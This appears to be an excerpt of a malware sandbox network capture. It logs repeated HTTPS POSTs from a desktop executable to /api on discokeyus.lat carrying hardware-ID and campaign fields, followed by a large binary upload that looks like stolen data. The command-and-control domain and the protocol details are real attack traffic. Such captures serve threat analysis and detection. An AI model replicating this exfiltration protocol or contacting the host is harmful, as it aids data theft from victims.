2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 5a 48 53 4a 6a 78 41 63 42 79 2b 5a 2f 39 5a 6c 52 53 66 41 77 2b 4e 69 77 33 66 74 70 65 55 39 52 6d 75 4f 39 62 44 32 53 6e 56 52 61 41 6d 2f 49 46 41 48 52 74 55 48 37 6d 33 31 42 34 57 62 6b 36 50 32 4d 2f 54 38 79 47 69 6a 4e 34 37 31 34 50 5a 4b 64 62 6c 6f 55 61 2f 30 42 46 39 54 6b 42 4c 61 51 53 51 36 2b 4d 4e 6d 6e 37 4a 37 6b 63 44 59 47 56 73 50 37 6f 31 34 39 77 63 74 47 54 51 46 2b 32 51 38 4b 7a 4a 6f 4b 72 73 4d 4e 48 4c 51 69 74 66 69 2b 67 73 73 39 65 52 59 6f 32 35 71 6a 49 47 75 4b 68 52 4d 54 51 6e 71 53 57 6b 61 61 70 31 6a 6b 6b 56 78 59 35 54 66 5a 32 64 6d 4c 2f 6e 51 70 45 48 2b 4d 34 2f 51 67 63 6f 71 46 65 42 30 4c 62 38 6b 54 45 4e 43 30 54 62 61 6f 45 51 37 2b 4d 4c 2b 6e 79 35 37 36 66 54 34 42 65 63 36 45 72 47 70 36 32 74 Data Ascii: ZHSJjxAcBy+Z/9ZlRSfAw+Niw3ftpeU9RmuO9bD2SnVRaAm/IFAHRtUH7m31B4Wbk6P2M/T8yGijN4714PZKdbloUa/0BF9TkBLaQSQ6+MNmn7J7kcDYGVsP7o149wctGTQF+2Q8KzJoKrsMNHLQitfi+gss9eRYo25qjIGuKhRMTQnqSWkaap1jkkVxY5TfZ2dmL/nQpEH+M4/QgcoqFeB0Lb8kTENC0TbaoEQ7+ML+ny576fT4Bec6ErGp62t
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 5a 35 34 4d 44 64 32 6a 57 75 43 4d 45 30 62 6c 61 76 33 5a 77 4c 62 34 64 54 34 4e 62 34 57 46 6d 69 41 7a 69 74 49 42 42 54 73 6f 6d 6b 49 35 6b 2b 52 53 74 73 38 66 65 2b 56 2b 36 65 44 6f 6a 4c 6c 62 47 69 31 53 77 59 2b 39 64 54 2f 2b 32 6c 46 4d 43 57 58 65 51 6b 69 64 6f 67 71 75 78 78 45 4f 34 6d 47 6e 76 36 37 50 72 79 5a 71 51 44 6a 52 76 50 52 35 50 64 79 64 47 51 39 4d 4b 4d 42 43 58 70 33 6a 53 65 53 46 57 55 33 77 63 36 44 5a 77 4c 72 36 64 44 67 42 65 4a 53 73 68 46 35 6f 79 64 4e 50 57 68 52 35 6b 6b 78 47 30 75 51 53 7a 39 63 58 44 74 6b 2b 70 2f 2b 2b 78 62 52 47 4f 68 6c 6d 68 4c 57 72 4c 56 72 45 32 6b 42 4c 45 6e 2f 64 51 6b 69 64 6f 67 71 75 78 52 45 4f 34 6d 47 6e 76 36 37 50 72 79 5a 71 51 44 6a 52 76 50 52 35 50 64 79 64 47 51 39 Data Ascii: Z54MDd2jWuCME0blav3ZwLb4dT4Nb4WFmiAzitIBBTsomkI5k+RSts8fe+V+6eDojLlbGi1SwY+9dT/+2lFMCWXeQkidogquxxEO4mGnv67PryZqQDjRvPR5PdydGQ9MKMBCXp3jSeSFWU3wc6DZwLr6dDgBeJSshF5oydNPWhR5kkxG0uQSz9cXDtk+p/++xbRGOhlmhLWrLVrE2kBLEn/dQkidogquxREO4mGnv67PryZqQDjRvPR5PdydGQ9
2024-12-20 16:17:17 UTC	1369	IN	Data Raw: 55 54 39 6f 31 7a 31 31 78 45 4f 36 6a 43 2f 70 2f 2b 58 35 48 34 32 45 43 53 45 75 62 30 67 4d 34 72 54 41 51 56 43 61 64 67 53 43 39 4b 6a 42 76 43 5a 55 51 37 35 50 76 36 6e 36 4e 32 73 49 48 64 58 65 73 50 37 2b 69 64 2b 32 4d 39 48 58 68 52 72 6c 54 77 34 38 4c 5a 4e 35 70 51 64 66 2b 74 30 38 66 4c 39 6a 66 4e 4e 42 7a 70 36 68 4c 4f 35 49 6b 7a 63 33 6b 46 54 42 53 69 63 51 68 36 64 2f 41 72 62 68 56 68 65 35 54 43 70 70 2f 4c 64 72 44 4d 30 42 57 2b 54 6f 50 5a 6e 5a 38 32 64 58 68 4d 62 4b 4d 52 43 58 6f 37 71 43 75 54 58 42 77 36 68 66 75 72 6d 2f 5a 50 33 59 53 73 52 61 35 57 67 2f 56 35 44 35 38 39 47 54 51 45 71 34 77 38 43 79 37 46 4a 35 70 42 68 63 4d 74 69 34 50 66 39 33 39 68 30 4e 42 74 57 76 5a 53 72 5a 32 32 49 2b 30 4a 4c 41 53 69 63 Data Ascii: UT9o1z11xEO6jC/p/+X5H42ECSEub0gM4rTAQVCadgSC9KjBvCZUQ75Pv6n6N2sIHdXesP7+id+2M9HXhRrlTw48LZN5pQdf+t08fL9jfNNBzp6hLO5Ikzc3kFTBSicQh6d/ArbhVhe5TCpp/LdrDM0BW+ToPZnZ82dXhMbKMRCXo7qCuTXBw6hfurm/ZP3YSsRa5Wg/V5D589GTQEq4w8Cy7FJ5pBhcMti4Pf939h0NBtWvZSrZ22I+0JLASic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49737	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:19 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=VQ6522QWGHOHKW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: discokeyus.lat
2024-12-20 16:17:19 UTC	12835	OUT	Data Raw: 2d 2d 56 51 36 35 32 32 51 57 47 48 4f 48 4b 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 33 44 39 42 42 37 32 44 30 35 35 34 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 56 51 36 35 32 32 51 57 47 48 4f 48 4b 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 56 51 36 35 32 32 51 57 47 48 4f 48 4b 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 56 51 36 35 32 32 51 57 Data Ascii: --VQ6522QWGHOHKWContent-Disposition: form-data; name="hwid"0A3D9BB72D0554A3AC8923850305D13E--VQ6522QWGHOHKWContent-Disposition: form-data; name="pid"2--VQ6522QWGHOHKWContent-Disposition: form-data; name="lid"PsFKDg--pablo--VQ6522QW
2024-12-20 16:17:20 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qnuebha6ijsf64ta6du72epud9; expires=Tue, 15 Apr 2025 10:03:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a49RpYLbhcsD52%2Bi0lvOOMq9P%2B1lY%2FNIZ1KCXHEaKndi4RDlB0Skoi2PesP1Iih3SY8e4L2YqMT0UcO6R8qeV8ZKiQMu8Z92jWoYGrB%2BSbKLpPogpITmDAo6yZn8HRuYLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f124b9000f8c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1490&min_rtt=1485&rtt_var=568&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2832&recv_bytes=13769&delivery_rate=1908496&cwnd=212&unsent_bytes=0&cid=a3c0d8fcf8198305&ts=862&x=0"
2024-12-20 16:17:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:17:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49748	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:22 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XOHXPWRA5N2M2YI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15087 Host: discokeyus.lat
2024-12-20 16:17:22 UTC	15087	OUT	Data Raw: 2d 2d 58 4f 48 58 50 57 52 41 35 4e 32 4d 32 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 33 44 39 42 42 37 32 44 30 35 35 34 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 58 4f 48 58 50 57 52 41 35 4e 32 4d 32 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 58 4f 48 58 50 57 52 41 35 4e 32 4d 32 59 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 58 4f 48 58 50 Data Ascii: --XOHXPWRA5N2M2YIContent-Disposition: form-data; name="hwid"0A3D9BB72D0554A3AC8923850305D13E--XOHXPWRA5N2M2YIContent-Disposition: form-data; name="pid"2--XOHXPWRA5N2M2YIContent-Disposition: form-data; name="lid"PsFKDg--pablo--XOHXP
2024-12-20 16:17:23 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3rs1cmk7s7499vl7tof0gdkdng; expires=Tue, 15 Apr 2025 10:04:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9pRutODpjPn2AdJCtcWZkhGwo870cRdcZWoxNmedKYUbIsVsTjgdjV8DDQA4%2F%2FpUhfILOpmWwEIig34rsZdYcnwdA7uhgX5a3MJkPiPRTaHP8b8hiALKvWk3RqsJYA29zQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f1353e6d4268-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1636&min_rtt=1624&rtt_var=633&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2833&recv_bytes=16022&delivery_rate=1697674&cwnd=252&unsent_bytes=0&cid=14c0c2635a0ac7d2&ts=867&x=0"
2024-12-20 16:17:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:17:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49761	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:24 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QBKTSRA9OUUW6TMLOB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19963 Host: discokeyus.lat
2024-12-20 16:17:24 UTC	15331	OUT	Data Raw: 2d 2d 51 42 4b 54 53 52 41 39 4f 55 55 57 36 54 4d 4c 4f 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 33 44 39 42 42 37 32 44 30 35 35 34 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 51 42 4b 54 53 52 41 39 4f 55 55 57 36 54 4d 4c 4f 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 51 42 4b 54 53 52 41 39 4f 55 55 57 36 54 4d 4c 4f 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --QBKTSRA9OUUW6TMLOBContent-Disposition: form-data; name="hwid"0A3D9BB72D0554A3AC8923850305D13E--QBKTSRA9OUUW6TMLOBContent-Disposition: form-data; name="pid"3--QBKTSRA9OUUW6TMLOBContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-20 16:17:24 UTC	4632	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de Data Ascii: +?2+?2+?o?Mp5p_
2024-12-20 16:17:25 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i4hqlihs776jm1710sprui73v3; expires=Tue, 15 Apr 2025 10:04:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MNkktQlzTwAy1d1GjfkOlhYPJdSNAsTG2QhGj9uxONLrL9K5%2F1B4jyFKIoOLUJBJtY9ROxGfhaSvga3bKhR3WYmw%2FnNjrLWQfi0Ls83UnRaA%2BAGGrWVG6CE4BSpru4FCrw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f143ba2b8c0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1977&rtt_var=766&sent=12&recv=23&lost=0&retrans=0&sent_bytes=2833&recv_bytes=20923&delivery_rate=1407228&cwnd=206&unsent_bytes=0&cid=fae7a9badaa511ef&ts=997&x=0"
2024-12-20 16:17:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:17:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49771	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:28 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IGOOYZDY2A User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1205 Host: discokeyus.lat
2024-12-20 16:17:28 UTC	1205	OUT	Data Raw: 2d 2d 49 47 4f 4f 59 5a 44 59 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 33 44 39 42 42 37 32 44 30 35 35 34 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 47 4f 4f 59 5a 44 59 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 49 47 4f 4f 59 5a 44 59 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 47 4f 4f 59 5a 44 59 32 41 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --IGOOYZDY2AContent-Disposition: form-data; name="hwid"0A3D9BB72D0554A3AC8923850305D13E--IGOOYZDY2AContent-Disposition: form-data; name="pid"1--IGOOYZDY2AContent-Disposition: form-data; name="lid"PsFKDg--pablo--IGOOYZDY2AContent-
2024-12-20 16:17:29 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 16:17:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7s7ul2vqo969a4isrq428de979; expires=Tue, 15 Apr 2025 10:04:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hR24S6xwIvWD2vI5f5TQ4SHLypxPSOSd3JtTqxXtMf7KtJh598TQ4zCd%2BUsj2xR%2B63wrq22m8giDTr91HiBRshrrSYExbqg4cLnruPpe5jF%2BdpCjCcbUjKs0xD3c%2BOGSrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f50f1589a535e73-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1586&min_rtt=1569&rtt_var=623&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=2112&delivery_rate=1710603&cwnd=201&unsent_bytes=0&cid=d59367f66697bdf8&ts=1374&x=0"
2024-12-20 16:17:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-20 16:17:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49782	104.21.21.99	443	6052	C:\Users\user\Desktop\uDTW3VjJJT.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 16:17:32 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2GQ3EKARZ6ENM3P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565107 Host: discokeyus.lat
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 2d 2d 32 47 51 33 45 4b 41 52 5a 36 45 4e 4d 33 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 41 33 44 39 42 42 37 32 44 30 35 35 34 41 33 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 32 47 51 33 45 4b 41 52 5a 36 45 4e 4d 33 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 47 51 33 45 4b 41 52 5a 36 45 4e 4d 33 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 47 51 33 45 Data Ascii: --2GQ3EKARZ6ENM3PContent-Disposition: form-data; name="hwid"0A3D9BB72D0554A3AC8923850305D13E--2GQ3EKARZ6ENM3PContent-Disposition: form-data; name="pid"1--2GQ3EKARZ6ENM3PContent-Disposition: form-data; name="lid"PsFKDg--pablo--2GQ3E
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 12 23 d1 d6 83 55 04 b9 0f 8e f0 1b ae f3 1d 0d f9 df 98 a2 18 ae 87 00 3c 29 82 07 73 b7 47 1a cb 44 01 e7 7d 91 08 71 56 a6 e8 62 f7 e7 db d8 91 0a c1 a1 e3 5d 41 22 40 3b e0 fd eb 9b 8f 87 e6 b2 fe 5a 1d 9e fa 67 c6 f4 fc 53 ba bf e7 87 bb 43 b3 5a 17 d2 7a 7c 7e b4 38 0e be 0a c7 c0 5f 7a 73 3f 7c 02 79 d5 3f 55 93 55 0c ec 44 19 07 9b ba 3b 2a 95 ee 43 69 4b 16 ef 9c 00 a3 f8 26 9a 53 16 ef 7c 06 62 fc fe 4f df 31 b8 08 2b 2b 4a a1 98 59 d5 a4 c5 41 fe bf ad f9 97 1c 42 bc 9c 38 2f ba 17 1e 6d cb f0 48 c8 31 43 74 ca 21 bb c9 cd cf 0e f4 8b ba dd 24 28 9d 40 24 5a 36 c0 96 4a 2b 76 06 7b 82 5b 5b bb 51 8a 0f 8f c5 08 1d 24 69 77 f5 bc 87 ad 27 59 d3 45 46 c0 ef 0d 89 39 82 00 c4 c3 e6 e6 71 e8 49 ef 51 61 ae d4 15 86 aa fc 5c 5a bf ab b9 ea bb f7 07 Data Ascii: #U<)sGD}qVb]A"@;ZgSCZz\|~8_zs?\|y?UUD;*CiK&S\|bO1++JYAB8/mH1Ct!$(@$Z6J+v{[[Q$iw'YEF9qIQa\Z
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: da e2 25 99 ab 08 01 7f 60 48 3f 4c 10 a6 c4 16 5d 4d 28 35 04 bb 30 bb 98 e7 9a 70 ea b1 3e 8a eb c9 c0 c6 0d 35 d1 2d 31 fc 3a b8 b5 98 7f 67 43 c5 31 ea 6e 42 0b 57 e3 71 f1 96 7d a6 8a 8b 72 7c f2 8e 26 fd c1 93 01 59 b3 9b f6 17 89 2f d3 ad 85 8e 82 4d 3b d1 5a 0b f1 32 01 41 ce 7f 4c e7 92 96 d1 9a 87 84 c9 02 08 3b b4 af 50 4d b8 b3 37 34 7f c3 d1 c2 e8 f2 d4 8b d3 26 d1 91 65 4f 81 4d 0a bc a1 77 5e 9e ff 23 30 a2 98 5b 77 e2 fe ec 41 d6 ed a8 f0 70 38 84 b6 d2 ab ae 33 18 81 b9 87 f1 83 03 09 73 25 a2 56 99 3b 15 c7 2b e3 ee 3a 11 37 24 88 28 30 ba d9 77 b1 e3 ce 54 8c fe 9f 8b 2d d7 5e 96 15 9f e9 29 e3 e1 a1 a2 f1 a3 6a 55 fb 91 d4 7d 82 49 d3 ba a6 02 6e ce b4 14 c4 57 7d fc 18 2f 9b ae e1 c3 ee d5 a7 9c b0 f8 7c c6 d5 0d 2b ce 1d 49 4d 39 e3 Data Ascii: %`H?L]M(50p>5-1:gC1nBWq}r\|&Y/M;Z2AL;PM74&eOMw^#0[wAp83s%V;+:7$(0wT-^)jU}InW}/\|+IM9
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: d7 2f 0e 88 4c 28 4d a0 fe 24 2f d0 18 03 73 cd b7 14 88 b7 05 b8 71 0c ae 58 f2 ea 9f 04 18 59 f2 ff 6c 31 f9 df e1 d9 bd 10 e1 1e f6 ff 9c af 56 02 d9 b1 7a df b9 11 ee a6 51 40 44 69 a1 a6 8e a1 f8 f3 35 2f 37 8d 05 8c 4e a8 87 4c 8e d7 2e 02 a3 7d b5 c6 65 ec 49 01 f7 3b ec 63 5a a0 fc 41 a6 34 08 2f 3c 1e be a8 91 7d 33 2d 37 90 e5 6c a2 2a 1c 50 38 b2 65 90 79 58 35 41 33 be 4d a4 3b 3c 44 37 ce 70 a3 1d b6 38 aa 78 6a 44 81 ae 74 a2 24 63 a2 2c 9e 80 f1 24 f8 f0 fd da 9f 99 77 28 05 5e a2 19 19 8c 20 d7 2c 75 23 38 17 96 f4 aa cc ec 1e 42 92 87 ad 31 dd be 43 d4 62 94 5b a7 35 84 ed 0f 1f c1 de e0 47 b9 2c d7 88 ea de a7 7e d5 4b 8e ae c1 99 9a 98 e2 e4 f9 c5 7c 52 d3 1a 82 a6 24 3b 19 23 c9 d4 4f 9f aa 07 af ee 92 6e bc 91 f1 02 42 88 6d dc fe 2f Data Ascii: /L(M$/sqXYl1VzQ@Di5/7NL.}eI;cZA4/<}3-7l*P8eyX5A3M;<D7p8xjDt$c,$w(^ ,u#8B1Cb[5G,~K\|R$;#OnBm/
2024-12-20 16:17:32 UTC	15331	OUT	Data Raw: 97 21 19 4a 43 75 95 fa aa 18 26 fc e8 d1 1c c3 ef c5 40 e7 27 fd e9 84 3b 33 b7 d6 84 39 df 13 84 0b 39 79 c8 77 00 d6 26 01 e1 eb c3 3d 8e 27 69 26 08 e3 d5 99 51 95 3a d9 2f 4a 83 b4 05 b2 cf 19 fa 30 44 6b af dd c2 c6 c9 96 ff 8e d2 78 ad e0 5c 3e 3d 56 30 6f 64 27 fc 86 6c a9 ac 5c 7d da 7c ae 86 0f 24 b4 f1 2a 56 14 34 2a 9f ef a4 ce 57 63 14 11 3c 8d 10 da 8d 55 77 01 71 35 e8 c5 e3 af 20 dd 71 88 0e 4e e3 cf 49 00 9b ab fe 3d 59 0e 67 92 98 b2 cc f8 3d 33 fb d0 7a f3 d1 a6 69 43 37 1b 83 ff 6d 1a 8b 1c 3a fd e3 f8 73 6a d3 a9 e3 71 e3 f2 f1 1c 85 95 a7 d5 7b 57 84 df 8b 0e be d9 a4 88 fa 08 70 fb 6a ca cb ce ff bf af 5c 12 61 28 01 08 07 31 bc 5f 5d 78 57 06 27 ff 1e 66 39 5b 33 17 07 f9 0b 6f 37 83 5d 60 ec fc 04 f7 eb 1f da 09 a0 79 45 e8 8d 27 Data Ascii: !JCu&@';399yw&='i&Q:/J0Dkx\>=V0od'l\}\|$V4Wc<Uwq5 